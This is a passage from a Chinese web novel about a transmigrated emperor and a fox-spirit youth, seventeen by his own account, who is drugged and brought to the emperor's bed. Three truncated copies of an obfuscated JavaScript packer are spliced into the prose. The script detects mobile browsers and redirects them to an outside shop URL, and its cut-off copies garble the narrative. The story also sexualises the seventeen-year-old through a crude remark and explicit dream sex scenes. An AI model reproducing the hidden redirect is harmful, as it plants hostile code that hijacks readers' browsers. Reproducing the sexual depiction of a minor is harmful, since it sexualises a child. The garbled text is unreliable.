来自原著的碎片更加蛮横地交织进来,更深入的亲吻,更热烈的纠缠,掌心下细腻颤抖的皮肤,压抑的呜咽与泣求。 商缙言低骂一声,将方巾重重扔进水里,水花四溅。 簧文果然荼毒人脑。 那些描述的画面,此刻鲜明得仿佛他亲身经历过一样。 甚至带来了更具体,更煎熬的感官想象。 他突然悲哀地发现,自己现在好像不是直男了。 而是直男微弯。 商缙言在偏房呆了许久,等一切平息下来时,只剩下一丝难以言喻的空虚。 他换上干净的寝衣,带着比往日更甚的冷冽气息,面无表情地推门而出。 蔡汶已跪在前堂的地砖上多时,额头抵着手背,背脊微微发颤。 “说说吧,”商缙言直接坐在圈椅上,声音听不出喜怒,“朕哪句话,让你觉得朕是要宠幸安稚舒?” 今夜诸事顺畅得诡异,简直像是剧情被硬生生地推动了。 安稚舒毫无阻拦直入他厢房,暗卫也不管,连太医都像候在门外随时待命。 仿佛所有人都提前知晓安稚舒要被他宠幸了。 唯独商缙言自己不知道。 蔡汶背后冷汗早已浸透中衣。 他深知此事是自己不对,往重了说,是妄揣圣意,甚至是假传圣旨。 “陛下……”蔡汶抬起头,老泪纵横,是真怕了,“奴婢知罪!求陛下饶老奴一命!实在是因陛下赐了那镯子,奴婢才会错意,以为陛下……” “镯子?”商缙言眉峰蹙起,“他喜欢亮闪闪的银饰,朕便赏了。有何不妥?” 蔡汶瞪大了眼。 陛下居然忘了此事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082394|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 他满脸呆滞,呐呐地道:“可那枚镯子是陛下从前亲口说过,要留给未来妻子的。” ? 商缙言险些跳了起来:“你说什么?” 蔡汶话都说不利索了:“那手镯本是先皇命银作局特制,赏给最受宠的端妃娘娘。但您那时不知怎的看见了,跑去银作局瞧了花样,便直接抢……拿走了。” 商缙言指尖无意识摩挲着扶手。 ……他以前这么狂吗? “端妃娘娘所出的瑞王殿下自然不依,那时您本就与瑞王殿下不合,于是此事便被瑞王捅得满朝皆知,弹劾您‘不敬庶母、争夺内帑’的折子雪片似的……” “即便到了这种程度,您还是不还,在那边说‘我的妻子喜欢这个镯子’。” 可那时,乃至现在,商缙言连个正经妾室都没有,何来“妻子”? 端妃认定这孽障是存心羞辱自己,气病交加,竟就此一病不起,不久便薨逝了。 瑞王痛失母亲,又因弹劾之事引来先皇猜忌,自此一蹶不振。 小小银镯,竟间接卷动了两名皇子的命运,从此名声大噪。因为实在太过丢人,先皇便对外说镯子还没做好,端妃就薨逝了。 可宫内宫外无人不知——这镯子,是被商缙言抢走,留给他那不知在何处的正妻。 甚至有人阴暗地猜想,商缙言便是借着这个镯子,以疯病发作的理由故意要铲除瑞王,心机颇深。 蔡汶满脸惶恐,声音发颤:“陛下,您当真不记得了?” 商缙言沉默了。 若是以前的商缙言,可能还真忘不了这件事。 可现在的他,既没有以前的记忆,原著里又都是床上那点事,自然什么都不清楚。 “朕……”他抬手按了按突突直跳的太阳穴,“前次磕伤了头,醒来后便遗忘了不少旧事。此事关系重大,不可外传。” 蔡汶赫然知道这么大一个秘密,一时之间瞪大了眼,说不出话来。 他自然知晓其中利害,倒抽一口凉气,以头触地:“奴婢明白!奴婢定当守口如瓶!” 商缙言只觉得头疼更甚:“这镯子我就这么硬抢,先帝也没再说别的?” 蔡汶伏在地上,小声嘀咕:“先帝当时觉得,您怕是疯症又犯了,怕您闹起来更不可收拾,索□□事宁人。” 反正一个镯子,银作局还能再打。稳住这不定时发作的疯儿子更重要。 商缙言:…… 很好。 原身不仅是个暴君,可能还是个有前科的精神病患者。 这坑挖得可真够深的。 他艰难地找回声音:“那你今日……就不知提醒朕一句?” ——不对。 电光石火间,商缙言想起来了。 蔡汶提醒过。 不止一次。 在他兴致勃勃说要送安稚舒镯子时。 老太监欲言又止:“陛下要将这银镯送给小公子?” ——陛下!三思啊! “陛下,小安公子今日有救驾之功。” ——陛下!不能恩将仇报啊! “而且此地是佛寺,祭礼刚毕。” ——陛下!在菩萨眼皮底下不能这么禽兽啊! 此刻,蔡汶跪在那儿,抬起老泪纵横的脸,竟透出几分委屈:“小安公子进京前三月,您就让暗卫时时探查他的动向。今日祭礼前,您还特意绕去后山,就为瞧他一眼……” “陛下,这、这实在由不得奴婢不多想啊!” 商缙言彻底无言以对。 他做那些事,纯粹是为了避免以后认不出安稚舒,以防后面稀里糊涂把人带进宫了。 这下好了,阴差阳错,还是把人给弄上床了。 幸好最后关头刹住了车。 哈哈哈……原身哥真是会给他留坑啊。 连定情信物都准备齐全了。 商缙言显出一种罕见的无力,也感觉自己的疯症要犯了:“日后有什么话,直说。别再跟朕绕这些弯子。” 7. 狐要吃肉 听到商缙言这么说,蔡汶便知晓自己躲过了一劫,连连叩首。 待老太监战战兢兢退下,商缙言独自坐着,直到门外响起刻意放轻的脚步声。 太医提着药箱进来,在离商缙言数步远的地方停下:“陛下万安,小公子身上的药性已用金针辅以汤药解除,现下只是身子虚乏,需静养几日,切勿再受惊扰风寒。” 商缙言“嗯”了一声,算是听见了,目光落在了太医的药箱上。 太医禀报完毕,屏息垂首,等待示下。 短暂的沉默后,商缙言忽然开口:“可有什么治疗伤口的药?” 太医立刻打开药箱,从一格中取出一个不及巴掌大的白瓷圆盒,双手奉上。 商缙言接过那瓷盒,入手微凉,他打开看了一眼,里面是半透明的膏体,闻之有极淡的草木清气。 等太医走了,他独自在前堂中来回踱步,思考半天,还是去看了安稚舒。 屋内药香混着安神香,安稚舒裹在被子里,只露出一张泛着潮红的脸,额发湿漉漉地贴在鬓边,像刚从水里捞出来。 伺候用药的宫女太监们悄无声息地退了出去,带上了门。只剩床边一盏纱灯,朦朦胧胧地笼罩着这一方天地。 帷帐被一只骨节分明的手掀开一角。 安稚舒浑身一僵,只留一双乌润的眼睛,警惕地望着床边高大的人影。 商缙言就站在那里,逆着光,几乎占满他全部视野。 他一直觉得商缙言看人的眼神很奇怪。 像是一个站在戏台下的看客,探究地观察身边所有人。 是错觉吧? 安稚舒迷迷糊糊地想。 脑子被药性搅得一团糟,方才那些不受控制地丢人反应,此刻反刍上来,烧得他耳根发烫。 可他预想中的事情并没有发生,商缙言没有趁机把他睡了,反而立刻叫了太医,帮他解除药性。 这和他听过的那些恐怖传闻根本不同。 安稚舒也不知道这算不算成功了,反正并没有见机行事,也没有达成二叔的要求,迷倒皇帝。 商缙言看了他半晌,忽然开口:“把手伸出来。” 安稚舒眨了眨眼,慢了半拍,才懵懂地将一只手腕伸出被子。 皓白的手腕上,那枚银镯随着动作轻轻晃动。 商缙言的目光落在镯子上,停顿了好一会儿。他还是第一次瞧见这镯子,确实做的精巧,衬着少年纤细的腕骨,竟有种出乎意料的契合……就好像是专门为安稚舒打的。 他的喉结滚动了一下:“另一只手。” 安稚舒“哦”了一声,忙把戴着镯子的手缩回去,乖乖伸另一只。 商缙言却在这时动了。 高大的身躯在床边坐下,床榻顿时微微下陷,带着薄茧的手不由分说地握住了安稚舒伸出的手腕。 “陛下……”安稚舒下意识地抽回,却被更牢地握住。 衣袖被前面的人撩起,露出一截小臂,以及白日里被刺客留下的那道刀伤。白布包扎着,此刻边缘已渗出些许血迹。 商缙言的眉头拧了起来,三两下解开包扎,伤口暴露在空气中。 原本已经止血的伤口,因一整日未曾妥善照料,边缘有些红肿,部分地方又裂开了,看起来比白天时狰狞。 商缙言自己先忍不住倒吸了一口凉气。 他拿起太医给的药膏,用指尖剜出一点膏体,抹在了安稚舒的伤口上。安稚舒忍不住轻轻一颤,喉咙里溢出一声抽气。 商缙言动作顿住,抬眼看他:“很疼?” 安稚舒生怕他嫌弃自己,抿紧了嘴唇,连忙摇头:“不太疼,就是很凉。” 商缙言这才继续,指尖沾着药膏,沿着伤口一点点涂抹开,尽量放轻了力道。 “这药白天该换一次。”商缙言目光落在伤口上,“回去后没人给你换药?” 安稚舒垂下眼帘,慢吞吞地说:“……没有。” 其他狐狸的注意力都在今日失踪的白狐上,自然不会关注到他因为救驾而添的伤口,就连阿爹也未曾关心过半分……虽说他算是帮了大忙,但是狐狸还是很难接受他去救了人类。 他又不会给自己换药,只能自己舔舔伤口撑着,但是这次伤口被包住了,舔不到。 少年忍不住抬起眼,悄悄看向正专注为他处理伤口的帝王。 “你——”商缙言忽然抬头,正好捕捉到安稚舒未来得及收回的视线。 安稚舒像被烫到般立刻垂下眼。 商缙言眉头微挑,转而问出盘旋心头许久的问题:“今天为什么要冲出来救我?” “当时那么乱,不怕死?” 安稚舒老实回答:“可是不救陛下,陛下就要死了呀。” 理由简单直白得可笑。 商缙言缠绕纱布的动作顿了顿:“就因为这个?” “不应该吗?”安稚舒露出一点困惑的神情。 其实安稚舒自己都说不清楚。 他就是觉得……必须要救下商缙言。 商缙言定定地看了他两秒,忽然笑了一声。 这三个月来,他听过太多精心修饰的忠诚,像这种纯粹的直白,倒是让他找回一点在现代的感觉。 好想回去。 他敛了一点思乡的情绪,再看向面前实打实救了自己的人,不由得多了几分敬畏之心。 居然毫无目的就过来救他了。 这是真义父。 “你当时居然一点也不怕,会武?”商缙言继续包扎。 会舞吗? 安稚舒没忘记今日自己的任务,迟疑道:“陛下想看我边跳边脱吗?” ? “……我是说武功。” “哦哦哦,武功啊。”会捕猎应该算吧,安稚舒想了想又说:“算会吧……边耍剑边脱衣服,陛下想看……我也可以学。” 他声音闷闷的,小声地控诉:“我今天救了陛下呢,结果陛下还要来睡我。” “你脑子里都在想什么?”商缙言正好给那白布打上一个漂亮的蝴蝶结,“我没有要你侍寝。” 安稚舒陷入更深的茫然。 没有要他侍寝,这是什么意思呀? 商缙言语气不自觉放缓了些:“你不是喜欢银饰吗?” 安稚舒点点头。 他当然喜欢,喜欢得不得了。 商缙言继续说:“所以我就送你银镯子,结果蔡汶他们误会了,以为我要睡你,就把你带了过来。” 安稚舒听了半天,思绪慢慢理清。 原来是这样。 所以这漂亮的镯子真的只是单纯的谢礼?结果引发了一场误会。 随即,另一个念头迅速窜起,让他心头一紧。 既然是误会,那这镯子是不是也要收回去? 他下意识把手镯捂住了,像在护食般:“陛下说好把镯子送给我了。” 商缙言瞧见他这小动作,只觉得好笑:“送出去的东西,哪有收回来的道理。” 安稚舒闻言悄悄松了口气。 镯子保住了。 商缙言随意地问:“你就只喜欢银子,不喜欢金子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又比如方才那个勾引。 直接爬到他身上,坐稳了,然后去解他的腰带……拙劣到让人发笑。 这哪是勾引。 简直是欠.操。 他拧了拧眉,压下心头那点不合时宜的联想,忽然问道:“你几岁了?” 安稚舒小声回:“我今年十七了,再过五个月十八岁。” 商缙言下意识接口:“真巧,我也十七,比你大三个月。” 话一出口,他才猛然意识到不对——他指的是自己穿书前的年龄,而这具身体…… 安稚舒困惑地提醒:“陛下不是二十四了吗?” 商缙言:…… 忘了这茬。 “这不重要。”他生硬地转开话题,严肃提醒安稚舒,“知道吗?十八岁以后才能谈恋爱……就是不能私下幽会。” 安稚舒听得云里雾里。 十七岁不行,十八岁才可以? 人类怎么这么多奇怪的规矩。 他像个求知若渴的学生,认真发问:“十八岁前一盏茶的时间也不行吗?只差一点点而已,难道会发生什么变化吗?” 商缙言被他问得语塞,语气不由得更硬邦邦:“这你别管。” “总之,以后不要勾引我了,我是不会上钩的。” 8. 要滴血验狐? 安稚舒才不信他说的话。 方才商缙言也是这般讲的,说不喜欢男人,对男人硬/不/起/来,结果还不是…… 他脸颊微红,重重道:“哦。” 阿哥分明是猜错了,陛下根本不会不举。 见安稚舒有听进去,商缙言也就放心了。 窗外的雪不知何时又簌簌落了起来,覆盖住护国寺的飞檐翘角与青石板路。 小太监端着冒着热气的药碗进来时,带进了外头的寒气。安稚舒接过那碗黑褐色的药,面不改色地仰头一口气灌了下去。 “陛下。”小太监收好空碗,轻声请示,“雪夜路滑,可要备轿送小公子回去?” 商缙言望向窗外,雪果然下得很大:“不必了,夜间行路不安全,明日再回。你们将偏房收拾出来,朕今夜歇在那里。” 他很大方地将龙床让给了安稚舒。 安稚舒呆呆愣愣地看着宫人们抱来新的被褥去往隔壁。 商缙言语气刻意放得平淡:“早些睡,明日用了早膳,我再让人送你回去。” “……谢谢陛下。”安稚舒抿了抿唇,声音闷在被子里,软软的。 宫人们又往炭盆里添了炭,确保室内暖意融融,这才吹熄了所有的烛火,随后悄声退下,合紧了门扉。 偌大的屋子里只剩下炭火偶尔轻微的噼啪声。 安稚舒在床上躺了片刻,忽然掀开被子一角,先是小心翼翼地伸出一只脚,试着踩了踩地面。 好凉。 他又缩回去,在宽敞得不可思议的龙床上,悄悄打了个滚。 柔软的缎面贴着皮肤,带着商缙言身上独有的龙涎香气,这香气无处不在,将他密密地包裹起来。 安稚舒忽然觉得脸颊有点热,他把脸埋进熏了香的软枕里,深深吸了一口气。 ……真好闻。 如果能睡一辈子皇帝的床就好了! 这个念头让他心里泛起一丝欢喜,随即又有点不好意思。安稚舒侧耳听了片刻,确认外头无人,身形一晃,一团火红的毛球便出现在了华贵的被褥间。 小赤狐抖抖耳朵,蓬松的大尾巴在身后惬意地晃了晃,鼻子四处嗅闻,探索领地。 他轻盈地跳了两下,爪子在光滑的锦缎上差点打滑,忽然,床柱上一点幽暗的反光吸引了他的注意。 小狐狸好奇地凑过去,仰起小脑袋。 一颗殷红如血的宝石正镶嵌在立柱盘旋的金龙眼眶中,在昏暗里幽幽地注视着他。 “嘤!” 小狐狸吓了一跳,猛地往后一撤,蓬松的尾巴炸开,耳朵也变成了飞机耳,喉咙里发出细细的呜咽声。 那眼睛毫无反应。 小狐狸定了定神,狐疑地歪起脑袋,小心翼翼伸出黑爪爪,用肉垫轻轻碰了碰那颗红宝石。 凉的,硬的,抠不下来。 原来是假的呀。 安稚舒松了口气,随即被那栩栩如生的金龙吸引了全部注意。 他凑得更近,几乎把鼻子都贴了上去。 是金子做的! 小狐狸的眼睛瞬间亮了,伸出黑爪爪,摸了摸那只龙,又用脑袋蹭了蹭。 唉……带不走。 只沮丧一小会儿,狐狸的注意力又被吸引走了。 玉雕的床栏,软乎乎的枕头……每一样都新奇无比。 安稚舒重新变回人形,抱着柔软的被子,把半张脸埋进去,忍不住嘿嘿傻笑。 这里仅仅是皇帝在寺庙的临时住处,就这么奢华了,那皇宫里的龙床又该是什么样啊? 安稚舒在满是龙涎香的床榻间蜷缩起来,汤药里的安神成分开始起作用,眼皮渐渐沉重,恨不得马上进入梦乡,梦见自己在金银珠宝堆里打滚。 然而这一日经历太多惊涛骇浪,并未完全平静的心神直接将他拖入一个光怪陆离的梦境中。 起初,他梦到了冰冷的雪原,四周是一望无际的白。 小狐狸在雪地里奔跑打滚,雪沫沾满了狐狸毛。 忽然,他撞上一个人的腿。 安稚舒抬头,逆着雪光看不清那人的面容,只能感觉到一个冷漠的轮廓。 他本能瑟缩了一下,讨好地喊:“爹爹……” 没有回应,只有一道嫌恶的目光落在他的身上。 然后那人抬脚,毫不留情地将他踹开。 小小的身体在雪地里滚了几圈,撞上一块坚冰,后腿传来钻心的疼痛。 小狐狸蜷缩起来,一下下舔舐疼痛的伤处,大颗大颗的眼泪滚落下来。 画面陡然翻转。 他被人拎着后颈皮,粗暴地提了起来。 视野摇晃,安稚舒对上一张极其美丽的脸。这是个女人,身量却比寻常女子高大许多,头顶有一对与他同色的狐狸耳朵,身后也垂着一条尾巴。 小狐狸尚未喊出那个称呼,女人异常有力的手骤然扼住他的脖颈。 “都怨你……”女人的声音嘶哑难听,指甲几乎嵌进安稚舒的皮毛里,“都怨你,都怨你!” 小狐狸徒劳地蹬着四肢,眼前阵阵发黑,嘤咛声微弱下去。 就在他以为自己要死去时,扼住喉咙的手骤然松脱,女人像被抽走了所有力气,颓然倒在雪地里。 小狐狸摔落在地,大口大口喘着气,缺氧的眩晕感久久不退。 不知过了多久,场景再次变幻。 寒冷褪去,取而代之的是一种闷热。 他分不清这是何处,只被人牢牢抱着,身体在颠簸摇晃,从内到外都软成了一滩水,使不上半分力气,只能瘫软在那人炽热的胸膛上。 安稚舒努力抬起沉重的眼皮。 是商缙言。 不知为何,安稚舒心里忽然涌上巨大的委屈,闷闷的,堵得他难受。泪水毫无征兆地涌出,迅速打湿了两人相贴的肌肤。 商缙言的动作停了下来,低下头,嘴唇含糊地亲吻着安稚舒湿漉漉的眼睫:“怎么了?” 安稚舒听不清自己哽咽着回答了什么,只记得自己伸出颤抖的手臂,更紧地环住了商缙言的脖颈,将脸埋进他的肩窝。 随即,商缙言的动作比之前更为凶猛急促,像是要将他彻底撞碎。 安稚舒被这剧烈的颠簸弄得神魂出窍,只能被动地跟随。恍惚间,他想起芳姑姑说的什么“只作春风软柳”…… 忽然,商缙言的一只手沿着他的脊背滑下,精准地按在了尾椎骨的位置。 “不……别碰……”安稚舒猛地弓起身,哭着摇头哀求。 可那只手作怪似的在那里或重或轻地按着,濒临崩溃的酸麻窜遍四肢百骸,几乎失控。 “啊——!” 安稚舒猛地惊醒,弹坐起来。 他瞪大眼,茫然地环顾四周。 自己还在商缙言的禅房里,窗外已经天光大亮。 他缓缓抬手,摸了摸脸颊,触手一片冰凉的湿意,枕头也湿了一小片, 梦里流了一晚上的泪水。 是……是药效还没褪干净吗? 怎么会做了一晚上乱七八糟的梦? 安稚舒眸子里空茫茫的,心底是说不清楚的难受和锥心,倒不是因为最后那段荒唐的梦境……反而是因为梦见了爹娘。 心口闷闷地发酸,安稚舒还是没忍住,抬手擦了擦自己又要落下的眼泪。 外间传来宫人刻意放轻的询问:“公子,可需要起身更衣了?” 安稚舒张了张嘴,刚想应声,忽然感觉到头顶和身后传来毛绒绒的触感。他伸手一摸,居然摸到了柔软蓬松的狐耳,还有一条不安分甩动的大尾巴! “别!”他慌忙喊住外面的人,“先别进来!” 帷帐内一阵窸窸窣窣的忙乱。 安稚舒手忙脚乱地按住头顶的耳朵,试图把它们压回去,又反手去捞那条不听话的大尾巴,脸颊憋得通红。 好半晌,他才把耳朵和尾巴塞回去。 安稚舒松了口气,从帷帐中弹出半个脑袋,脸颊还有未褪的红晕:“我好了……有衣服给我穿吗?” 身上还是昨日那件寝衣。 送进来的衣衫出乎意料的舒适。不是寻常他所穿的素白衣服,而是接近他狐狸毛毛本色的暖橘红。宫人仔细替他系好腰带,那腰带不松不紧地一裹,腰肢倒越发纤细。 安稚舒忍不住摸了摸衣服料子。 蔡汶亲自候在外面,殷勤地迎上,愧疚道:“小公子昨日没睡安稳?” 安稚舒含混地“嗯”了一声,又摸了一把衣服料子。 好舒服的衣服哇。 蔡汶引着他穿过回廊去用早膳,廊下寂静,唯有远处隐约的诵经声。路过前堂时,安稚舒瞥见里面的商缙言正高坐于上,下面垂首立着几位朝臣,气氛凝滞。 皇帝以手支额,神情恹恹,听着老臣絮絮叨叨地禀奏,手指有一搭没一搭地敲着扶手。 似是有所感应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082396|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,商缙言忽然撩起眼皮,目光精准地穿过洞开的门扉,捕捉到廊下那道身影。 安稚舒心头一跳,加快脚步跟着蔡汶离开。 早膳设在偏厅,小厨房精心熬制的鸡丝粥香气扑鼻。 见到商缙言兑现了自己的承诺,安稚舒心情好了不少。 白粥里,撕得极细的鸡丝均匀分布,点缀着翠绿的葱花,热气氤氲。蔡汶亲自盛了一碗,放到安稚舒面前。 少年安静地执起瓷勺,小口小口地喝着,他很小心,每次都避开飘着的葱花,一碗见底时,碗底果然孤零零剩着那些翠绿的小点。 刚放下碗,商缙言便走了进来,在安稚舒对面坐下,蔡汶连忙也为他盛上粥。 商缙言用勺子慢慢搅动着碗里的粥,状似无意地问:“昨夜睡得如何?” 安稚舒慢吞吞放下勺子:“还……算好吧。” 一碗热粥下去,他脸颊透出些健康的粉润,但眉眼间那股恹恹的倦色却掩不住,显然并非他说的那般“好”。 商缙言没应声,只是舀起一勺粥送入口中。 他自己昨夜也睡得极糟。 岂止是糟,简直做了一场春天的梦。 梦境清晰得可怕,分不清是原著剧情,还是被影响了,勾起一点内心的龌龊念头。 他梦见自己将安稚舒死死摁在怀里,力道大得惊人。安稚舒在他身下哭得喘不过气,睫毛湿成一绺一绺,眼尾晕开脆弱的红,却依旧用细白的手臂紧紧攀附着他的肩膀。 最后……少年额间那点朱砂痣都被他吮吻得鲜艳欲滴…… 必须到此为止。 昨日种种,就当是一场荒谬的误会,就此封存。 在护国寺这段日子,他会履行承诺,让安稚舒每日吃饱穿暖。 待离开此处……他可以和安稚舒结伴,以兄弟相称。 兄弟之间,总不会出事了吧? 两人各怀心事,沉默地吃着早膳。 安稚舒没什么胃口地吃了三碗鸡丝粥,随后放下碗筷,小声说道:“肉好少,而且我不喜欢吃葱。” 商缙言乐了:“你还挺会提要求。” “这本来就是陛下答应我的。”安稚舒满脸慌张,“陛下要食言?” 商缙言:“朕会同御厨说的。” 一阵脚步声打破寂静。 裴竣悄无声息地出现在门边,躬身抱拳:“陛下。” 商缙言语气恢复了惯常的淡漠:“说。” 裴竣的目光极快地扫过安静坐在一旁的安稚舒,一板一眼地禀报:“臣已详查。小公子昨日房中所用熏香、炭火均无异样。问题出在晚膳——那盘青菜里,被下了药。” 商缙言:“挑食还起作用了?” 安稚舒握着勺子的手猛地一僵。 是……昨天吃的晚膳?! 裴竣继续道:“菜是护国寺厨房所出。经查,太常少卿安济之侄安茗,贿赂并亲自打点厨房僧人,并于晚膳时分,亲手将膳食送至小公子房中,目前来看,碰过晚膳的只有和尚和安茗。” “哐当”一声轻响,安稚松手里的瓷勺跌落在碗中。 他脸色惨白,愣愣地抬起头,发不出声音。 晚膳……确实是安茗端给他的。 所以嫌疑最大的是安茗? 可安茗昨天明明激烈反对他侍寝。 阿爹和二叔就更不可能,他们知道自己最讨厌吃青菜。 为什么?明明他已经答应来了啊……是怕他反悔逃跑吗? 裴竣:“另,经初步查验,小公子所中之药,与前段时日护国寺内私下流传的某种禁药,似为同源。并非寻常助兴之物。” 商缙言对这个结果并不意外,只淡淡吩咐:“顺着这条线继续查,厨房那个和尚抓起来仔细审……至于那什么安茗……” 他看了一眼慌得说不出话来的安稚舒,毫不客气:“也关起来审问。” 安稚舒“不”字都还没来得及说出口。 “是。”裴竣应下,却并未立刻退下,“陛下,明镜台那边遣人来问——凡五品以上官员及家眷,需至明镜台滴血验妖,以防狐妖混迹。” “小安公子新入京籍,按例应于下月前往。因陛下昨日……明镜台主事特意请示,是否将此验看提前至后日?” 心猛地被揪起,小狐狸瞬间忘了下药一事,狐狸尾巴毛都要炸起来了。 阿爹也没跟他说过进京后有滴血验妖的事情啊? 9.我是侯爷狐啦 安稚舒小心地抬起眼,看向一板一眼的裴竣,努力让自己的表情看起来只是好奇,“这要怎么验啊?” 裴竣想起这位小公子流落在外多年,或许真不知晓京中规矩,便解释道:“滴血验妖乃太宗皇帝与护国寺高僧共研之法。取指尖血一滴,滴入特制圣水。若血泛银芒,则为狐妖所化。” “此法从不出错。” 从不出错? 安稚舒一愣。 阿爹是四品官,这些年安然无恙,京中那么多同族也未曾暴露…… 这一点都不像“从不出错”啊? 商缙言在一旁听了,不以为然道:“这不就是滴血认亲的变种?血滴水里泛银光……” 护国寺这水,别是重金属超标了吧? 裴竣只干巴巴地重复:“臣不知。此乃太宗皇帝定下的规矩。” 商缙言那随意的态度让安稚舒心下稍安。 他鼓起勇气,小心翼翼的恳求:“陛下,我可不可以不去呀?” “嗯?”商缙言挑眉,“理由?” “我……我怕疼。”安稚舒手指无意识地绞着袖口。 “昨天替朕挡刀,那么长一道口子也没见你喊疼,如今不过是针尖扎一下……” 商缙言懒懒地道:“怎么,你是狐妖啊?” 安稚舒呼吸一窒,连指尖都僵住了。 反应太明显,连商缙言都发现了,他又带着那种审视的眼神,将安稚舒上下都看了一遍。 安稚舒后背瞬间沁出一层冷汗。 他猛地反应过来自己反应过度,硬着头皮强迫自己放松,声音却还是有点发飘:“不是,那我还是去吧。” 商缙言盯着他看了几秒,才缓缓收起目光:“没事,去看看而已,又不会少块肉。” 可安稚舒真的是一只小狐妖! 这话说得模棱两可,既没明确说一定要验,也没说不用验。 安稚舒的心像是被吊在了半空,七上八下,恨不得立刻插翅飞回阿爹身边,问清楚这要命的“滴血验妖”到底有何玄机。 但眼下还有更要紧的事。 他再次抬头望向商缙言:“陛下,还有我被下药的事,能不能不要让人去查我阿哥了?” 商缙言蹙眉,不解:“暗卫查案,效率自然比你高。若真是他所为,他矢口否认,你如何分辨?” “我觉得……阿哥不会做这种事。”安稚舒闷闷道,“他们都知道我不爱吃青菜,我因为挑食不吃青菜,还被阿爹教训过好几次,所以昨晚才吃了一根。” “如果真要害我,为什么不下在我最爱吃的烧鸡上?” 商缙言听着,心思却转到了另一处。 不管下药者是谁,最终目的,似乎都是要将安稚舒送到他床上,并且是用那种任人摆布的状态。 如果昨晚安稚舒真的把那盘菜吃完…… 商缙言背脊掠过一丝寒意。 那岂不是正好踩中原著剧情? 在安稚舒意识不清、甚至可能并非全然自愿的情况下发生性.关系,即便日后他如何弥补,裂痕也已铸成。 但昨夜商缙言谨记“锁好裤腰带,管住下半身”这句箴言,非常稳妥地刹住了车。 有人不想让他刹住车。 有人,似乎很清楚原本应该发生什么。 商缙言沉默片刻,再开口:“可以,朕准你自己去查。” 安稚舒眼睛一亮,刚要道谢,却听商缙言继续道:“不过,恐怕要暂时委屈你一下。” “嗯?” “对外,需得宣称你昨夜已侍寝。”商缙言放缓了语气,“当然,你若不愿,朕也可想其他法子,只是如此一来,下药之人或许会更谨慎,线索更难寻……” “我愿意!”安稚舒几乎没等他说完,“不委屈的,一点都不委屈!” 商缙言:“……?” 他看见少年嘴角悄悄弯起一个小弧度,整个人甚至有点……喜滋滋的? 安稚舒心里的小算盘正打得噼啪响。 正愁没法跟二叔交代迷住皇帝的任务呢! 虽然皇帝没真的睡他,但侍寝的事情传出去,效果应该也差不多吧?这下可算能交差了! 商缙言被他这过于爽快的反应噎了一下,缓缓道:“……好,稍后,朕会让蔡汶将答应你的补偿,一并送去。” 安稚舒这下彻底放松了,胃口似乎也好了起来,又乖乖喝了一碗粥。 商缙言没再多言,示意宫人送他回去。 …… 轿子在安府暂居的禅院门前停下。 安稚舒刚掀开轿帘,一道熟悉的身影便急急迎了上来。 “稚舒!” 安济的眼底是藏不住的焦灼。 安稚舒忙要下轿,却因心神不宁,脚下踩到湿滑的积雪,一个趔趄向前扑去。 “小心。”安济稳稳扶住他。 他拿出些碎银,匆匆打发了抬轿的太监,这才小心翼翼地搀着安稚舒,嘴唇翕动了几下,想说什么,喉头却像被堵住了。 “阿爹,我没事的。”反倒是安稚舒先开了口。 这哪像没事的样子? 安济看着他略显苍白的脸颊,还有那走路时细微的不稳,心口像被钝刀子反复割扯。 愧疚之心愈发涌上心头。 他不敢细问,只怕是在孩子伤口上撒盐,只哽咽道:“若你真不愿……阿爹拼了这条老命,也想办法送你离开京城……” “不要。”安稚舒立刻摇头,“阿爹在哪我就在哪,要离开也得是所有狐狸一起走。” 离开了京城,离开了族群,他又能去哪呢?孤零零一只狐狸在外面活着,好像也没什么意思。 安济不忍再看他,仿佛多看一眼,自己的罪孽就深重一分。 他只能反复喃喃,像是说给自己听:“对不起,是阿爹对不起你……” 安稚舒没想到自己的安慰反而让安济更难过。 他想了想,认真道:“陛下不是坏人,他对我挺好的。” 安稚舒脑海中忽然闪过商缙言低头为他包扎时专注的侧脸,下意识补了一句,“而且动作也很轻,弄得不痛。” 安济听得眼前一黑,差点背过气去。 他缓了一会儿,旋即见安稚舒这副乖乖为商缙言说话的模样,突然惊醒。 安济的声音陡然严肃,“你切不可因那点表面的东西迷了心窍,他终究是皇帝,你别忘了你爹娘的事。” 安稚舒本来心情还好好的,听了这话像被一盆冰水兜头浇下:“我没忘。” 怎么可能忘。 他的母亲是隐瞒身份与人类相恋的。 当年,无论是安济还是父亲家中讲究门第的长辈,都使尽浑身解数想要拆散他俩。 可越是阻拦,两人反而愈发相信对方是自己的命定之人,最终在一个雷雨夜,母亲毅然抛下族群,与父亲私奔。 私奔后的日子,却远非想象中的诗情画意。 自狐族遭遇大祸,流落在外的狐狸大多选择抱团取暖,母亲独自离群,几乎没有自力更生的能力。 而父亲,一个自幼锦衣玉食的世家公子,对柴米油盐更是一窍不通。 贫贱夫妻百事哀,母亲敏感地察觉到了父亲偶有悔意的心思。 